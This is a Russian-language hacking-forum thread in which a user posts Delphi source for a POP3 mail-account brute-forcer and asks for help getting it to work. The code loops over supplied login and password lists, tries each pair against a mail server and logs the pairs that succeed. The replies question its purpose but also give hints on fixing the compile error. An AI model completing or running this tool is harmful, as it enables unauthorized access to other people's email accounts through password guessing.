[Помогите!] Делаю брут оно чот красным обвело

[crazy5king]

[Ссылки могут видеть только зарегистрированные пользователи. ]
можете этот брут до ума довести?

Цитата: unit Unit1; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, IdAntiFreezeBase, IdAntiFreeze, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdExplicitTLSClientServerBase, IdMessageClient, IdPOP3, StdCtrls; type TForm1 = class(TForm) Button1: TButton; IdPOP31: TIdPOP3; IdAntiFreeze1: TIdAntiFreeze; Edit1: TEdit; Edit2: TEdit; Memo1: TMemo; OpenDialog1: TOpenDialog; Button2: TButton; Button3: TButton; procedure Button1Click(Sender: TObject); procedure Button2Click(Sender: TObject); procedure Button3Click(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation {$R *.dfm} procedure TForm1.Button1Click(Sender: TObject); var Login, Pass: TStrings; l, p: Integer; begin if Edit1.Text='' then Exit; if Edit2.Text='' then Exit; Login:=TStringList.Create; Pass:=TStringList.Create; Login.LoadFromFile(Edit1.Text); Pass.LoadFromFile(Edit2.Text); for l:=0 to Login.Count-1 do for p:=0 to Pass.Count-1 do begin IdPOP31.Username := Login.Strings[l]; IdPOP31.Password := Pass.Strings[p]; try IdPOP31.Connect; except end; if IdPOP31.Connected then begin Memo1.Lines.Add(PChar('Логин:'+Login.Strings[l]+' Пароль:'+Pass.Strings[p])); IdPOP31.Disconnect; end; end; Login.Free; Pass.Free; end; procedure TForm1.Button2Click(Sender: TObject); begin if OpenDialog1.Execute then Edit1.Text:=OpenDialog1.FileName; end; procedure TForm1.Button3Click(Sender: TObject); begin if OpenDialog1.Execute then Edit2.Text:=OpenDialog1.FileName; end; end.

[Gum4ik]

Цитата: Сообщение от crazy5king можете этот брут до ума довести?

1.Не тот раздел!
2.Можем!но не будем!
3.Чист от меня,какой-то чубарый брут)(без обид)
4.Вопрос к тебе для чего он?

[Роспотребнадзор]

Зачем тебе этот idTCPClient? Выкинь его из uses

[metraz]

это даже на брут не похоже, если уж на то пошло. не может компилятор Tlsclientserverbase найти, видимо код - копипаст с другого форума. Либо ссылку пропиши к нему, если есть компонент, либо скачай, либо снеси эту строку.